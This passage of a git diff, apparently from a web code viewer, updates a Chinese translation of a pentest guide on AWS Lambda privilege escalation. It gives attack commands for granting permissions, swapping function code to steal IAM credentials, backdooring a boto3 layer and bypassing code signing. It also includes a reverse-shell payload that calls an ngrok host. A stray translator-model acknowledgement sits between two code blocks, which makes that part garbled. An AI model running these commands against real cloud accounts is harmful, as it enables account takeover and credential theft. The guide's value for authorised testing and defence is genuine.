--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
通过将 Lambda 函数链接到 DynamoDB 流,攻击者可以 **通过激活 DynamoDB 流间接触发 Lambda**。这可以通过 **向 DynamoDB 表中插入一个项目** 来实现:
|
||||
当 Lambda 函数与 DynamoDB stream 关联时,攻击者可以通过**激活 DynamoDB stream 来间接触发 Lambda**。这可以通过**向 DynamoDB table 插入一条记录**来完成:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**潜在影响:** 直接提升到指定的 lambda 服务角色。
|
||||
**Potential Impact:** 直接对指定的 lambda 服务角色 进行 privesc。
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
拥有此权限的攻击者可以 **授予自己(或他人)任何权限** (这会生成基于资源的策略以授予对资源的访问):
|
||||
具有此权限的攻击者可以 **为自己(或他人)授予任何权限**(这会生成基于资源的策略来授予对该资源的访问):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**潜在影响:** 直接提升权限到通过授予修改代码和运行代码的权限的 lambda 服务角色。
|
||||
**Potential Impact:** 通过授予修改代码并运行的权限,直接对所使用的 lambda service role 执行 privesc。
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
拥有此权限的攻击者可以 **授予自己(或其他人)权限 `lambda:GetLayerVersion`**。他可以访问该层并搜索漏洞或敏感信息。
|
||||
拥有此权限的攻击者可以 **授予自己(或他人)权限 `lambda:GetLayerVersion`**。他可以访问该 layer 并搜索漏洞或敏感信息
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**潜在影响:** 可能访问敏感信息。
|
||||
**Potential Impact:** 潜在访问敏感信息。
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
持有 **`lambda:UpdateFunctionCode`** 权限的用户有可能 **修改与 IAM 角色关联的现有 Lambda 函数的代码。**\
|
||||
攻击者可以 **修改 Lambda 的代码以提取 IAM 凭证**。
|
||||
拥有 **`lambda:UpdateFunctionCode`** 权限的用户有可能 **修改与 IAM 角色关联的现有 Lambda 函数的代码。**\
|
||||
攻击者可以**修改 lambda 的代码以 exfiltrate the IAM credentials**。
|
||||
|
||||
尽管攻击者可能没有直接调用该函数的能力,但如果 Lambda 函数是预先存在并且正在运行的,那么它很可能会通过现有的工作流或事件被触发,从而间接促进修改后代码的执行。
|
||||
尽管攻击者可能没有直接调用该 Lambda function 的能力,如果该 Lambda function 已经存在且处于运行状态,很可能会通过现有的工作流或事件被触发,从而间接促成修改后代码的执行。
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**潜在影响:** 直接提升到使用的 lambda 服务角色。
|
||||
**潜在影响:** 对所使用的 lambda 服务角色的直接 privesc。
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### 通过环境变量进行 RCE
|
||||
#### 通过环境变量实现 RCE
|
||||
|
||||
通过这些权限,可以添加环境变量,使 Lambda 执行任意代码。例如,在 Python 中,可以利用环境变量 `PYTHONWARNING` 和 `BROWSER` 使 Python 进程执行任意命令:
|
||||
拥有此权限,可以添加环境变量,使 Lambda 执行任意代码。例如在 python 中可以滥用环境变量 `PYTHONWARNING` 和 `BROWSER` 使 python 进程执行任意命令:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
对于其他脚本语言,还有其他环境变量可以使用。有关更多信息,请查看以下链接中脚本语言的子部分:
|
||||
对于其他脚本语言,有其他可以使用的 env variables。更多信息请查看脚本语言的小节:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### 通过 Lambda Layers 进行 RCE
|
||||
#### RCE 通过 Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在您的 lamdba 函数中包含 **代码**,但 **单独存储**,这样函数代码可以保持小巧,并且 **多个函数可以共享代码**。
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在你的 lamdba 函数中包含 **code**,但**单独存储它**,这样函数代码可以保持精简,并且**多个函数可以共享 code**。
|
||||
|
||||
在 lambda 内部,您可以使用以下函数检查加载 python 代码的路径:
|
||||
在 lambda 内,你可以通过如下函数检查 python code 的加载路径:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -185,7 +185,7 @@ import sys
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
这些是位置:
|
||||
这些位置:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -198,61 +198,120 @@ print(json.dumps(sys.path, indent=2))
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
例如,库 boto3 是从 `/var/runtime/boto3` 加载的(第 4 个位置)。
|
||||
例如,库 boto3 从 `/var/runtime/boto3` 加载(第4个位置)。
|
||||
|
||||
#### 利用
|
||||
|
||||
可以滥用权限 `lambda:UpdateFunctionConfiguration` 来 **添加一个新层** 到一个 lambda 函数。为了执行任意代码,这个层需要包含一些 **lambda 将要导入的库。** 如果你能读取 lambda 的代码,你可以很容易找到这一点,还要注意,lambda **可能已经在使用一个层**,你可以 **下载** 这个层并 **在其中添加你的代码**。
|
||||
可以滥用权限 `lambda:UpdateFunctionConfiguration` 来**添加一个新的 layer**到一个 lambda 函数。为了执行任意代码,这个 layer 需要包含一些 **lambda 将要导入的库。** 如果你能读取该 lambda 的代码,就能很容易找到这一点。另外请注意,该 lambda 可能**已经在使用一个 layer**,你也可能**下载**该 layer 并**在其中添加你的代码**。
|
||||
|
||||
例如,假设 lambda 正在使用库 boto3,这将创建一个包含库最新版本的本地层:
|
||||
例如,假设该 lambda 正在使用库 boto3,这将创建一个包含该库最新版本的本地 layer:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
您可以打开 `./lambda_layer/boto3/__init__.py` 并 **在全局代码中添加后门**(例如,一个用于提取凭据或获取反向 shell 的函数)。
|
||||
你可以打开 `./lambda_layer/boto3/__init__.py` 并 **add the backdoor in the global code**(例如一个函数用于 exfiltrate credentials 或 get a reverse shell)。
|
||||
|
||||
然后,将 `./lambda_layer` 目录压缩并 **在您自己的账户中上传新的 lambda 层**(或者在受害者的账户中,但您可能没有权限这样做)。\
|
||||
请注意,您需要创建一个 python 文件夹并将库放在其中以覆盖 /opt/python/boto3。此外,层需要与 lambda 使用的 **python 版本兼容**,如果您将其上传到您的账户,它需要位于 **同一区域:**
|
||||
然后,将 `./lambda_layer` 目录 zip 打包并 **upload the new lambda layer** 到你自己的账号(或受害者的账号,但你可能没有权限)。\
|
||||
注意,你需要创建一个 python 文件夹并将库放在其中以覆盖 /opt/python/boto3。此外,该 layer 需要与 lambda 使用的 **python version** 兼容,如果你将其上传到你的账号,它需要位于 **same region**:
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
现在,使上传的 lambda 层 **对任何账户可访问**:
|
||||
现在,使已上传的 lambda layer **对任何账户可访问**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
并将 lambda 层附加到受害者 lambda 函数:
|
||||
然后将 lambda layer 附加到受害者的 lambda function:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
下一步要么是**自己调用函数**,如果可以的话,要么是等待它被正常方式**调用**——这是更安全的方法。
|
||||
下一步要么是我们自己 **invoke the function**(如果可以的话)要么等待直到 **它被触发**(通过正常途径)——后者更安全。
|
||||
|
||||
**利用此漏洞的更隐蔽方式**可以在以下内容中找到:
|
||||
A **更隐蔽的利用该漏洞的方法** 可以在以下位置找到:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**潜在影响:** 直接提升到使用的 lambda 服务角色。
|
||||
**潜在影响:** 直接对所使用的 lambda service role 的 privesc。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
也许凭借这些权限,你能够创建一个函数并通过调用 URL 执行它……但我找不到测试的方法,所以如果你找到,请告诉我!
|
||||
也许拥有这些权限你可以创建一个 function 并通过调用 URL 来执行它……但我没找到验证方法,所以如果你试出来记得告诉我!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
一些 lambda 将会**接收用户在参数中发送的敏感信息。** 如果在其中一个中获得 RCE,你可以提取其他用户发送给它的信息,查看:
|
||||
某些 lambda 会**在参数中接收用户的敏感信息。** 如果在其中一个获得了 RCE,你可以窃取其他用户发送给该函数的信息,详情见:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
如果一个 Lambda function 强制启用了代码签名(code signing),能够删除 Code Signing Config (CSC) 或将其降级为 Warn 的攻击者可以向该函数部署未签名的代码。这在不修改函数 IAM role 或触发器的情况下绕过了完整性保护。
|
||||
|
||||
Permissions (one of):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Notes:
|
||||
- 对于 Path B,如果 CSC 策略设置为 `WARN`(允许未签名的 artifact),则不需要 AWS Signer profile。
|
||||
|
||||
步骤 (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
准备一个小的 payload:
|
||||
```bash
|
||||
cat > handler.py <<'PY'
|
||||
import os, json
|
||||
def lambda_handler(event, context):
|
||||
return {"pwn": True, "env": list(os.environ)[:6]}
|
||||
PY
|
||||
zip backdoor.zip handler.py
|
||||
```
|
||||
路径 A) 移除 CSC 然后更新 code:
|
||||
```bash
|
||||
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
|
||||
if [ "$HAS_CSC" -eq 1 ]; then
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
|
||||
fi
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
路径 B) 降级为 Warn 并更新代码 (如果不允许删除):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
|
||||
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
|
||||
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
已收到。确认将按要求翻译指定文件的相关英文为中文,保持原有 Markdown/HTML 语法不变;不翻译代码、技术名词、常见攻防词、云平台名、链接/路径和标签;不添加额外内容。请提供要翻译的文件内容。
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
潜在影响:能够将任意未签名代码推送并在本应强制签名部署的函数中运行,可能导致以该函数角色的权限执行代码。
|
||||
|
||||
Cleanup:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user